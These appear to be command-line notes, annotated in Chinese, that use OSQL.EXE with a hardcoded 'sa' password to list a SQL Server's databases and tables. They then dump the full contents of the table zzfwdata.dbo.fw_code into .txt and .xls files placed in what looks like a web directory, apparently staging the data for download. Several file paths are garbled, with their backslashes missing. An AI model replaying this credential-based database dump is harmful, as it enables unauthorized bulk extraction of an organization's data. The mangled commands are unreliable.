cd C:Program FilesMicrosoft SQL Server100ToolsBinn
OSQL.EXE -S "localhost" -U "sa" -P "123456789" -q "select [name] from [sysdatabases] order by [name]" 查询所有库
------
fwweb
master
model
msdb
oadata
ReportServer
ReportServerT
tempdb
zzfwdata
oadata
"C:Program FilesMicrosoft SQL Server100ToolsBinnOSQL.EXE" -S "localhost" -U "sa" -P "123456789" -q "Select TABLE_NAME FROM
oadata.INFORMATION_SCHEMA.TABLES Where TABLE_TYPE='BASE TABLE'"
zzfwdata
"C:Program FilesMicrosoft SQL Server100ToolsBinnOSQL.EXE" -S "localhost" -U "sa" -P "123456789" -q "Select TABLE_NAME FROM
zzfwdata.INFORMATION_SCHEMA.TABLES Where TABLE_TYPE='BASE TABLE'" > D:
ewwebfwwebadzzfwdata.txt
记得
C:WindowsSysWOW64> taskkill -F /im OSQL.EXE
成功: 已终止进程 "OSQL.EXE",其 PID 为 2992。
成功: 已终止进程 "OSQL.EXE",其 PID 为 6196。
成功: 已终止进程 "OSQL.EXE",其 PID 为 4368。
成功: 已终止进程 "OSQL.EXE",其 PID 为 3700。
成功: 已终止进程 "OSQL.EXE",其 PID 为 2440。
"C:Program FilesMicrosoft SQL Server100ToolsBinnOSQL.EXE" -S "localhost" -U "sa" -P "123456789" -q "select name from zzfwdata.dbo.sysobjects
where xtype='U'" > D:
ewwebfwwebadiao.txt 查询zzfwdata 有哪些表
fw_code
"C:Program FilesMicrosoft SQL Server100ToolsBinnOSQL.EXE" -S "localhost" -U "sa" -P "123456789" -q "select * from zzfwdata.dbo.fw_code" > D:
ewwebfwwebad
eirong2.txt
查询这个 zzfwdata.的这个表.fw_code 里面的所有内容
"C:Program FilesMicrosoft SQL Server100ToolsBinnOSQL.EXE" -S "localhost" -U "sa" -P "123456789" -w 600 -q "select * from zzfwdata.dbo.fw_code" -o D:
ewwebfwwebadquanbu.xls
"C:Program FilesMicrosoft SQL Server100ToolsBinnOSQL.EXE" -S "localhost" -U "sa" -P "123456789" -w 600 -q SELECT * FROM zzfwdata.dbo.fw_code WHERE Address BETWEEN 10001 AND 20000 " -o D:
ewwebfwwebadquanbu12.xls